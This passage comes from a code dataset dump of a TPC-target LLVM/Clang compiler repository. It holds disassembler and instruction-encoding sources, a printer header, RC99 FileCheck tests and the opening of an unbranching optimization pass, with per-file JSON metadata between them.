8);\n if (Extra.MayCompress) {\n InsnLoop &= ((1ULL << TPCII::Gen3LoopEncSize) - 1);\n } else {\n InsnLoop &= ((1ULL << TPCII::LoopEncSize) - 1);\n }\n \n LLVM_DEBUG(dbgs() << \"-- LOOP: \" << to_hexstring(InsnLoop) << \"\\n\");\n\n uint32_t val32;\n\n // Prepare BOUNDARY field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3LoopBoundaryImmStart:TPCII::LoopBoundaryImmStart);\n memcpy(&val32, &bundle, 4);\n Extra.Boundary=val32;\n\n // Prepare STEP field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3LoopStepImmStart:TPCII::LoopStepImmStart);\n memcpy(&val32, &bundle, 4);\n Extra.Step=val32;\n\n // Prepare OFFSET field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3LoopOffsetStart : TPCII::LoopOffsetStart);\n uint16_t offset;\n memcpy(&offset, &bundle, 2);\n Extra.Offset=offset;\n\n // Prepare COMP_MODE field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3LoopCmpStart : TPCII::LoopCmpStart);\n uint8_t bt;\n memcpy(&bt, &bundle, 1);\n bt &= ((1 << 3) - 1);\n Extra.Comparison=bt;\n\n // Prepare START field.\n bundle = Bundle >> ((Extra.MayCompress) ? TPCII::Gen3LoopStartImmStart:TPCII::LoopStartImmStart);\n memcpy(&val32, &bundle, 4);\n Extra.Start=val32;\n\n return MCDisassembler::Success;\n}\n\nstatic DecodeStatus decodeFclass(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder) {\n uint64_t OpCode = fieldFromInstruction(insn, TPCII::VpuOpCodeStart, TPCII::VpuOpCodeSize);\n uint64_t SrcA = fieldFromInstruction(insn, TPCII::VpuSrcAStart, TPCII::VpuSrcASize);\n uint64_t SrcB = fieldFromInstruction(insn, TPCII::VpuSrcBStart, TPCII::VpuSrcBSize);\n uint64_t SrcD = fieldFromInstruction(insn, TPCII::VpuSrcDStart, TPCII::VpuSrcDSize);\n uint64_t Dest = fieldFromInstruction(insn, TPCII::VpuDestStart, TPCII::VpuDestSize);\n uint64_t OpType = fieldFromInstruction(insn, TPCII::VpuOpTypeStart, TPCII::VpuOpTypeSize);\n uint64_t Switches = fieldFromInstruction(insn, TPCII::VpuSwitches1Start, TPCII::VpuSwitches1Size);\n Switches = Switches | (fieldFromInstruction(insn, TPCII::VpuSwitches2Start, TPCII::VpuSwitches2Size) << TPCII::VpuSwitches1Size);\n uint64_t Predicate = fieldFromInstruction(insn, TPCII::VpuPredicateStart, TPCII::VpuPredicateSize);\n bool IsVectorPredicate = (bool)fieldFromInstruction(insn, TPCII::VpuVectorPredBit, 1);\n bool Polarity = (bool)fieldFromInstruction(insn, TPCII::VpuPolarityBit, 1);\n\n bool HasLimit = Switches != 0;\n assert(OpCode == TPCII::vpuFCLASS);\n\n bool HasSrf = false;\n if (isSRF(SrcA, false))\n HasSrf = true;\n\n if (HasLimit) {\n if (isSRF(SrcB, false)) {\n if (HasSrf)\n return MCDisassembler::Fail;\n HasSrf = true;\n }\n\n if (isSRF(SrcD, false))\n if (HasSrf)\n return MCDisassembler::Fail;\n }\n\n if (HasLimit)\n Inst.setOpcode(IsVectorPredicate ? TPC::FCLASS_LIMITm_Dis : TPC::FCLASS_LIMITp_Dis);\n else\n Inst.setOpcode(IsVectorPredicate ? TPC::FCLASSm_Dis : TPC::FCLASSp_Dis);\n\n if (DecodeVRFRegisterClass(Inst, Dest, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n if (DecodeVRFRegisterClass(Inst, SrcA, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (HasLimit) {\n if (DecodeVRFRegisterClass(Inst, SrcB, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (DecodeVRFRegisterClass(Inst, SrcD, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n\n Inst.addOperand(MCOperand::createImm(OpType));\n Inst.addOperand(MCOperand::createImm(Switches));\n\n //Income\n DecodeVRFRegisterClass(Inst, Dest, Address, Decoder);\n\n uint64_t PredValue = (Polarity << 5) | (IsVectorPredicate << 4)| Predicate;\n if (IsVectorPredicate) {\n if (decodeVPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n } else {\n if (decodeSPredicate(Inst, PredValue, Address, Decoder) == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n }\n\n return MCDisassembler::Success;\n}\n\nDecodeStatus\nTPCDisassembler::tryDecodeLoopInstruction(MCInst &Instr, uint64_t &Size,\n ArrayRef<uint8_t> Bytes, uint64_t Address,\n raw_ostream &vStream,\n raw_ostream &cStream) const {\n std::bitset<256> Bundle;\n uint64_t InsnLoop;\n LoopExtraValues Extra;\n\n Extra.Address = Address;\n Extra.MayCompress = false;\n Address = (uint64_t)(&Extra);\n\n DecodeStatus Result = readLoopInstruction(Bytes, Size, Bundle, InsnLoop, Extra);\n if (Result == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n\n bool isFakePass = (&vStream == &nulls() && &cStream == &nulls());\n if (isFakePass) {\n int64_t *point = (int64_t*)Extra.Address;\n *point = Extra.Offset;\n Instr.setOpcode(TPCII::spuLOOP);\n return MCDisassembler::Success;\n }\n \n Instr.setOpcode(TPCII::spuLOOP);\n Instr.addOperand(MCOperand::createImm(0));\n\n Result = decodeInstruction(DecoderTable64, Instr, InsnLoop, Address, this, STI);\n if (Result == MCDisassembler::Fail) {\n return MCDisassembler::Fail;\n }\n\n return MCDisassembler::Success;\n}\n\nDecodeStatus\nTPCDisassembler::getInstruction(MCInst &Instr, uint64_t &Size,\n ArrayRef<uint8_t> Bytes, uint64_t Address,\n raw_ostream &CStream) const {\n uint64_t InsnSPU = 0UL;\n uint64_t InsnVPU = 0UL;\n uint64_t InsnLoad = 0UL;\n uint64_t InsnStore = 0UL;\n uint32_t Immediate = 0UL;\n\n TPCInstrDecomposer Converter(Bytes, getSubtargetInfo().getFeatureBits());\n DecodeStatus Result;\n\n if (Converter.getLLVMInstSPU(InsnSPU) == MCDisassembler::Fail ||\n Converter.getLLVMInstVPU(InsnVPU) == MCDisassembler::Fail ||\n Converter.getLLVMInstLoad(InsnLoad) == MCDisassembler::Fail ||\n Converter.getLLVMInstStore(InsnStore) == MCDisassembler::Fail ||\n Converter.getLLVMInstIMM(Immediate) == MCDisassembler::Fail) {\n Size = 0;\n return MCDisassembler::Fail;\n }\n\n Size = Converter.getBundleSizeInBytes();\n this->Immediate = Immediate;\n\n // Decode solo instructions.\n if (getSPUOpCode(InsnSPU) == TPCII::spuLOOP) {\n return tryDecodeLoopInstruction(Instr, Size, Bytes, Address, CStream, CStream);\n }\n\n // All other cases represent 4-slot instruction bundle.\n //Instr.setLoc(IDLoc);\n Instr.setOpcode(TPC::BUNDLE);\n Instr.addOperand(MCOperand::createImm(0));\n\n // Call auto-generated Converter function.\n\n bool isFakePass = (&CStream == &nulls());\n\n JmpExtraValues Extra;\n MCInst *SPUSubInst = new (getContext()) MCInst;\n SPUSubInst->setFlags(FlagSPU);\n if (getSPUOpCode(InsnSPU) == TPCII::spuJMPR || getSPUOpCode(InsnSPU) == TPCII::spuJMPA) {\n Extra.Address = Address;\n Extra.MayCompress = false;\n Address = (uint64_t)(&Extra);\n\n Result = readJmpInstruction(Bytes, Extra);\n if (Result == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n if (isFakePass) {\n Instr.setOpcode(TPCII::spuJMPR);\n int64_t *point = (int64_t*)Extra.Address;\n *point = Extra.Imm;\n return MCDisassembler::Success;\n }\n }\n\n if (isFakePass) {\n return MCDisassembler::Success;\n }\n\n Result = decodeInstruction(DecoderTableScalarSlot64, *SPUSubInst, InsnSPU, Address, this, STI);\n if (Result == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Instr.addOperand(MCOperand::createInst(SPUSubInst));\n\n MCInst *VPUSubInst = new (getContext()) MCInst;\n VPUSubInst->setFlags(FlagVPU);\n Result = decodeInstruction(DecoderTableVectorSlot64, *VPUSubInst, InsnVPU, Address, this, STI);\n\n if (Result == MCDisassembler::SoftFail)\n Result = decodeInstruction(DecoderTableVectorSlot64, *VPUSubInst, InsnVPU, Address, this, STI);\n if (Result == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Instr.addOperand(MCOperand::createInst(VPUSubInst));\n\n MCInst *LDSubInst = new (getContext()) MCInst;\n LDSubInst->setFlags(FlagLDU);\n Result = decodeInstruction(DecoderTableLoadSlot64, *LDSubInst, InsnLoad, Address, this, STI);\n if (Result == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Instr.addOperand(MCOperand::createInst(LDSubInst));\n\n MCInst *STSubInst = new (getContext()) MCInst;\n STSubInst->setFlags(FlagSTU);\n Result = decodeInstruction(DecoderTableStoreSlot64, *STSubInst, InsnStore, Address, this, STI);\n if (Result == MCDisassembler::Fail)\n return MCDisassembler::Fail;\n Instr.addOperand(MCOperand::createInst(STSubInst));\n\n std::string comment = \"\";\n for (llvm::MCInst *inst : {LDSubInst, SPUSubInst, VPUSubInst, STSubInst}) {\n for (unsigned ind = 0; ind < inst->getNumOperands(); ind++) {\n if (inst->getOperand(ind).isReg()) {\n ConstructComplexRegisterComment(inst->getOperand(ind).getReg(), comment);\n }\n }\n }\n\n if (!comment.empty()) {\n CStream << \" \\t// \" << comment;\n }\n\n return MCDisassembler::Success;\n}\n\n\n//===----------------------------------------------------------------------===//\n// TPCSymbolizer\n//===----------------------------------------------------------------------===//\n\nbool TPCSymbolizer::tryAddingSymbolicOperand(MCInst &Inst,\n raw_ostream &/*cStream*/, int64_t Value,\n uint64_t Address, bool IsBranch,\n uint64_t Offset, uint64_t /*InstSize*/) {\n uint64_t SearchValue = Address + Value;\n using SymbolInfoTy = std::tuple<uint64_t, StringRef, uint8_t>;\n using SectionSymbolsTy = std::vector<SymbolInfoTy>;\n\n if (!IsBranch) {\n return false;\n }\n\n auto *Symbols = static_cast<SectionSymbolsTy *>(DisInfo);\n if (!Symbols) {\n return false;\n }\n\n auto Result = std::find_if(Symbols->begin(), Symbols->end(),\n [SearchValue](const SymbolInfoTy& Val) {\n return std::get<0>(Val) == static_cast<uint64_t>(SearchValue)\n && std::get<2>(Val) == ELF::STT_NOTYPE;\n });\n if (Result != Symbols->end()) {\n auto *Sym = Ctx.getOrCreateSymbol(std::get<1>(*Result));\n const auto *Add = MCSymbolRefExpr::create(Sym, Ctx);\n Inst.addOperand(MCOperand::createExpr(Add));\n return true;\n }\n return false;\n}\n\nvoid TPCSymbolizer::tryAddingPcLoadReferenceComment(raw_ostream &cStream,\n int64_t Value,\n uint64_t Address) {\n llvm_unreachable(\"unimplemented\");\n}\n\n//===----------------------------------------------------------------------===//\n// Initialization\n//===----------------------------------------------------------------------===//\n\nstatic MCSymbolizer *createTPCSymbolizer(const Triple &/*TT*/,\n LLVMOpInfoCallback /*GetOpInfo*/,\n LLVMSymbolLookupCallback /*SymbolLookUp*/,\n void *DisInfo,\n MCContext *Ctx,\n std::unique_ptr<MCRelocationInfo> &&RelInfo) {\n return new TPCSymbolizer(*Ctx, std::move(RelInfo), DisInfo);\n}\n\n\nstatic MCDisassembler *createTPCDisassembler(const Target &T,\n const MCSubtargetInfo &STI,\n MCContext &Ctx) {\n return new TPCDisassembler(STI, Ctx, T.createMCInstrInfo());\n}\n\n\nextern \"C\" void LLVMInitializeTPCDisassembler() {\n TargetRegistry::RegisterMCDisassembler(getTheTPCTarget(),\n createTPCDisassembler);\n TargetRegistry::RegisterMCSymbolizer(getTheTPCTarget(),\n createTPCSymbolizer);\n}\n\n" }, { "alpha_fraction": 0.6602481603622437, "alphanum_fraction": 0.6683782339096069, "avg_line_length": 37.95000076293945, "blob_id": "8f63e2c1b5882e8e6955089abcdb1bd103596609", "content_id": "e0c5f02531240410ec9fbef18d285ef7636918b9", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2337, "license_type": "permissive", "max_line_length": 103, "num_lines": 60, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstrComposer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstrComposer.cpp - Convert LLVM instructions layout to TPC instructions layout -------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#include <map>\n#include \"TPCInstrComposer.h\"\n\nusing namespace llvm;\n\n#define MASK(Len) ((1<<Len)-1)\n\nAPInt TPCInstrComposer::getBinaryInst( uint64_t LLVMInstr, const std::map<Fields, Field> &Layout) {\n APInt Insn(InstructionSizeInBits, 0);\n uint64_t Bits = 0;\n APInt Field;\n for (auto FieldLayout : Layout) {\n Bits = LLVMInstr >> FieldLayout.second.startLLVM;\n Bits &= MASK(FieldLayout.second.size);\n Field = APInt(InstructionSizeInBits, Bits);\n Insn |= Field.shl(FieldLayout.second.startBin);\n }\n return Insn;\n}\n\nAPInt TPCInstrComposer::getIMM(uint32_t &IMM) {\n uint32_t ImmOffset = 151;\n APInt ImmValue(InstructionSizeInBits, IMM);\n ImmValue = ImmValue.shl(ImmOffset);\n return ImmValue;\n}\n\n#undef MASK\n\nAPInt TPCInstrComposer::createBundle() {\n APInt Bundle(InstructionSizeInBits, 0);\n if (MayCompress && IsCompressed) {\n Bundle |= 1; // isCompressed bit\n if(CT == CompressionType::SPU_VPU) {\n Bundle |= getBinaryInst(SPUInst, TPCInstrLayout::getSPUInstrLayout(IsCompressed, TPCFeatures));\n Bundle |= getBinaryInst(VPUInst, TPCInstrLayout::getVPUInstrLayout(IsCompressed, TPCFeatures));\n } else if (CT == CompressionType::LD_ST) {\n Bundle |= (1 << 1); // Compression type bit\n Bundle |= getBinaryInst(LDInst, TPCInstrLayout::getLDInstrLayout(IsCompressed, TPCFeatures));\n Bundle |= getBinaryInst(STInst, TPCInstrLayout::getSTInstrLayout(IsCompressed, TPCFeatures));\n }\n } else {\n Bundle |= getBinaryInst(SPUInst, TPCInstrLayout::getSPUInstrLayout(IsCompressed, TPCFeatures));\n Bundle |= getBinaryInst(VPUInst, TPCInstrLayout::getVPUInstrLayout(IsCompressed, TPCFeatures));\n Bundle |= getBinaryInst(LDInst, TPCInstrLayout::getLDInstrLayout(IsCompressed, TPCFeatures));\n Bundle |= getBinaryInst(STInst, TPCInstrLayout::getSTInstrLayout(IsCompressed, TPCFeatures));\n }\n Bundle |= getIMM(IMM);\n return Bundle;\n}\n" }, { "alpha_fraction": 0.6078431606292725, "alphanum_fraction": 0.6535947918891907, "avg_line_length": 24.5, "blob_id": "68fe58b7af3bed6d236c891de06f955f3a425c8b", "content_id": "41258a7b1d627cd1628c336a1b92747c3301bfaf", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 153, "license_type": "permissive", "max_line_length": 46, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-12.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(polarity);\n\n// CHECK: line 3 error: missing parameter type\n// CHECK: > int func_01(polarity);\n" }, { "alpha_fraction": 0.6922640800476074, "alphanum_fraction": 0.6953811049461365, "avg_line_length": 43.6708869934082, "blob_id": "2dd9e9aeb745eaa67ebae83162e7f95f43bff1bb", "content_id": "2241edb34d70966de03ca0916cdb8ac781cfddd8", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3529, "license_type": "permissive", "max_line_length": 80, "num_lines": 79, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCInstPrinter.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCInstPrinter.h - Convert TPC MCInst to asm syntax -------*- C++ -*--//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This class prints a TPC MCInst to a .s file.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_INSTPRINTER_TPCINSTPRINTER_H\n#define LLVM_LIB_TARGET_TPC_INSTPRINTER_TPCINSTPRINTER_H\n\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/MC/MCInstPrinter.h\"\n\nnamespace llvm {\n\nclass TPCInstPrinter : public MCInstPrinter {\npublic:\n static const int InstructionPerLineNoNops;\n static const int InstructionPerLine;\n static const int BundlePerLine;\n static const int TpcAsmParseCompatible;\n\n TPCInstPrinter(const MCAsmInfo &MAI, const MCInstrInfo &MII,\n const MCRegisterInfo &MRI)\n : MCInstPrinter(MAI, MII, MRI) {}\n ~TPCInstPrinter() {}\n\n void printInst(const MCInst *MI, uint64_t Address, StringRef Annot,\n const MCSubtargetInfo &STI, raw_ostream &O) override;\n void printOperand(const MCInst *MI, unsigned OpNo, raw_ostream &O);\n\n // Autogenerated by tblgen.\n void printInstruction(const MCInst *MI, uint64_t Address, raw_ostream &O);\n bool printAliasInstr(const MCInst *MI, raw_ostream &OS);\n void printCustomAliasOperand(const MCInst *MI, unsigned OpIdx,\n unsigned PrintMethodIdx, raw_ostream &O);\n static const char *getRegisterName(unsigned RegNo);\n void printRegName(raw_ostream &OS, unsigned RegNo) const override;\n\n void printAddrOperand(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printSPredicate(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printVPredicate(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printDataType(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printDimMask(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printSwitchSet(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printComparison(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printAccumulator(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printRhaz(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printRhazRs(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printRhu(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printBothDivMod(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printX2(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printMovDGAll(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printMovDGPack(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printMovDGUnpack(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printJmpLoopTarget(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n void printLoopImm(const MCInst *MI, unsigned OpNum, raw_ostream &O);\n\n int getFormat() const { return Format; }\n void setFormat(int X) { Format = X; }\n bool getHasPercentPrefix() const { return HasPercentPrefix; }\n void setHasPercentPrefix(bool X) { HasPercentPrefix = X; }\n\nprivate:\n bool printInst(const MCInst *MI, raw_ostream &Ostream, StringRef Alias,\n unsigned OpNo0, unsigned OpnNo1);\n\n int Format = BundlePerLine;\n bool HasPercentPrefix = false;\n};\n\n} // end namespace llvm\n\n#endif // LLVM_LIB_TARGET_TPC_INSTPRINTER_TPCINSTPRINTER_H\n" }, { "alpha_fraction": 0.5045207738876343, "alphanum_fraction": 0.5515370965003967, "avg_line_length": 29.72222137451172, "blob_id": "d222138fcc851de49be3d403cfd18274d1b0743c", "content_id": "1c243008e365d65496554e39fcf09252eb9f47cf", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 553, "license_type": "permissive", "max_line_length": 106, "num_lines": 18, "path": "/clang/test/RC99/IntrinsicsM/prefetch_a_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\nvoid main(tensor input, int pred) {\n int5 indx = {0, 0, 0, 0, 0};\n int __global *ptr;\n ptr = a_gen_addr_i(indx, input);\n prefetch_a_b(ptr, pred, 0);\n ++indx[0]; \n ptr = a_gen_addr_i(indx, input);\n prefetch_a_b(ptr, pred, 1);\n ++indx[0]; \n ptr = a_gen_addr_i(indx, input);\n prefetch_a(ptr);\n}\n\n// CHECK: prefetch %AD{{[0-9]+}}, %SP{{[0-9]+}}\n// CHECK: prefetch %AD{{[0-9]+}}, !%SP{{[0-9]+}}\n// CHECK: prefetch %AD{{[0-9]+}}, %SP0\n" }, { "alpha_fraction": 0.5040322542190552, "alphanum_fraction": 0.5685483813285828, "avg_line_length": 28.760000228881836, "blob_id": "f6eea1892d3f8d0993b95d97b6434d6f63909255", "content_id": "e3a7d2f42f8e892108fb5fdc82712cf9c30b12cb", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 744, "license_type": "permissive", "max_line_length": 105, "num_lines": 25, "path": "/clang/test/RC99/localizer/resolver-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck %s \n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvolatile int64 gval = 0;\n\nvoid main(int x) {\n *(int64 __local *)x = gval;\n}\n\n\n// CHECK: define void @main(i32 %x) {{.*}} {\n// CHECK: store <64 x i32> zeroinitializer, <64 x i32> addrspace(2)* null\n\n\n// CHECK: !llvm.tpc.scalar_data = !{![[SSZ:[0-9]+]]}\n// CHECK: !llvm.tpc.vector_data = !{![[VSZ:[0-9]+]]}\n// CHECK: ![[SSZ]] = !{i32 0}\n// CHECK: ![[VSZ]] = !{i32 256}\n\n\n// Initialization of global variable\n//\n// CHECK-ASM: mov.i32 [[REGV:%V[0-9]+]], 0\n// CHECK-ASM: mov.i32 [[REGS:%S[0-9]+]], 0\n// CHECK-ASM: st_l_v [[REGS]], 0x0, [[REGV]]\n" }, { "alpha_fraction": 0.5845070481300354, "alphanum_fraction": 0.6690140962600708, "avg_line_length": 30.66666603088379, "blob_id": "6ede11ca2452422a12d3f425c877aeac0ece9f0d", "content_id": "c87f0071b5a95b292b05279ce13290d37c8b0363", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 284, "license_type": "permissive", "max_line_length": 119, "num_lines": 9, "path": "/clang/test/RC99/localizer/resolver-11.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - 2>&1 | FileCheck %s \n\nint64 gval[321];\n\nvoid main(int x) {\n *(int64 __local *)x = gval[0];\n}\n\n// CHECK: too much vector memory is used for statically allocated data: 82176 is allocated, but only 81920 is available" }, { "alpha_fraction": 0.534453809261322, "alphanum_fraction": 0.6621848940849304, "avg_line_length": 48.58333206176758, "blob_id": "f49e248d7a97326ee54286df01f4c643ba6684e8", "content_id": "241ce8e36bb4b7dfd17e2c828b7e8e3fe1fe9b34", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 595, "license_type": "permissive", "max_line_length": 142, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_bfloat128_to_ushort128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n bfloat128 *sptr = (bfloat128 *)src;\n ushort128 *dptr = (ushort128 *)dest;\n bfloat128 src_val = *sptr;\n *dptr++ = convert_bfloat128_to_ushort128(src_val, SW_RZ);\n *dptr = convert_bfloat128_to_ushort128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <128 x bfloat> {{.*}} to <128 x i16>\n// CHECK-IR: call <128 x i16> @llvm.tpc.convert.v128i16.v128bf16.i1(<128 x bfloat> %2, i8 1, i32 198656, <128 x i16> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.4191780686378479, "alphanum_fraction": 0.5232876539230347, "avg_line_length": 30.7391300201416, "blob_id": "8b7702324caedb5e14c602e5401d1f8d4c047141", "content_id": "1cef4ef2e1f5d5fdf8602d7b13f0c99dbd862c24", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 730, "license_type": "permissive", "max_line_length": 106, "num_lines": 23, "path": "/clang/test/RC99/Intrinsics/s_bf16_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(_BFloat16 x0, _BFloat16 x1, int dest, _Bool pred) {\n _BFloat16 __local *dptr = (_BFloat16 __local *)dest;\n _BFloat16 res = 0;\n\n res = s_bf16_mac_s_s(x0, x1, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_bf16_mac_s_s(x0, 1.5, res, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %S{{[0-9]+}}, %S0, 0x3fc0, %SP0\n\n res = s_bf16_mac_s_s_b(x0, x1, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_bf16_mac_s_s_b(x0, 1.5, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.bf16 %S{{[0-9]+}}, %S0, 0x3fc0, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.5595340132713318, "alphanum_fraction": 0.5671939849853516, "avg_line_length": 31.943662643432617, "blob_id": "ae1c5b1473a3747cc84430c50950819082d84dc1", "content_id": "f8b8e4edc4c7f5630c3b1633786c77287d18f676", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 28068, "license_type": "permissive", "max_line_length": 90, "num_lines": 852, "path": "/llvm/lib/Target/TPC/TPCUnbranch.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCUnbranch.cpp ------------------------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n// This pass try to remove condinal on statements with predicate\n// if (p) {s1;s2,..} {s1(p);s2(p)\n//===----------------------------------------------------------------------===//\n#ifdef LLVM_TPC_COMPILER\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/PassRegistry.h\"\n\n#define DEBUG_TYPE \"TPCUnbranch\"\n\nusing namespace llvm;\n\nnamespace llvm {\n FunctionPass* createTPCUnbranchPass();\n void initializeTPCUnbranchPass(PassRegistry&);\n}\n\nstatic const char PassDescription[] = \"TPC unbranch optimization\";\nstatic const char PassName[] = \"tpc-unbranch\";\n\nstatic cl::opt<bool> EnableTPCUnbranch(PassName, cl::Hidden, cl::init(true));\nstatic cl::opt<bool> TPCEnableConformity(\"tpc-unbranch-cnf\", cl::Hidden, cl::init(true));\n\nnamespace {\n class TPCUnbranch : public FunctionPass {\n Function* F = nullptr;\n unsigned NumTransformed = 0;\n public:\n static char ID;\n\n StringRef getPassName() const override { return PassDescription; }\n\n TPCUnbranch() : FunctionPass(ID) {\n initializeTPCUnbranchPass(*PassRegistry::getPassRegistry());\n }\n bool runOnFunction(Function& F) override;\n };//class\n}//namespace\n\nchar TPCUnbranch::ID = 0;\nINITIALIZE_PASS(TPCUnbranch, PassName, PassDescription, false, false)\n\nFunctionPass* llvm::createTPCUnbranchPass() {\n return new TPCUnbranch();\n}\n\n#define TOO_MANY_INSTR 256\n\nenum KindPred { FalsePred = 0, TruePred = 1, NoPred = 2 };\nenum KindBB { ThenBB, ElseBB, EndBB };\nenum KindDecomposingContext { Analysis, Synthesis };\nstatic std::map<BasicBlock*, KindBB> bbk;\nenum KindPhi { good, DontMove, StopShow };\nSmallSetVector<BasicBlock*, 4> notmovebb;\ntypedef struct {\n Value *predic;\n Value *polar;\n} tPredicPart;\nstd::map<PHINode *, tPredicPart> PHIConform;\n // returns true if conformed and operands which different\nstatic bool PHIOperandsAreConform(PHINode *phi, Value **PtrOpnd0,\n Value **PtrOpnd1,\n KindDecomposingContext kdc) {\n if (!TPCEnableConformity)\n return false;\n Instruction *i0 = 